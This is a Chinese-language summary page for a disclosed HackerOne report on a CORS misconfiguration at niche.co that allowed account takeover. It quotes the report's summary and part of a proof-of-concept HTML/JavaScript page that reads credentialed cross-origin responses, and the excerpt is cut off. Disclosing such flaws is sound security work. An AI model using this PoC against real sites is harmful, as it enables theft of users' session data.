CORS misconfig | Account Takeover
该报告还没有中文解读。
原文摘录
摘自原文(2170 字符中的一小部分)
**Summary:** CORS misconfig is found on niche.co as Access-Control-Allow-Origin is dynamically fetched from client Origin header with **credential true** and **different methods are enabled** as well.
原文中的代码
<html>
<body>
<button type='button' onclick='cors()'>CORS</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 X / xAI 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @nahoragg · 版权归作者与 X / xAI 所有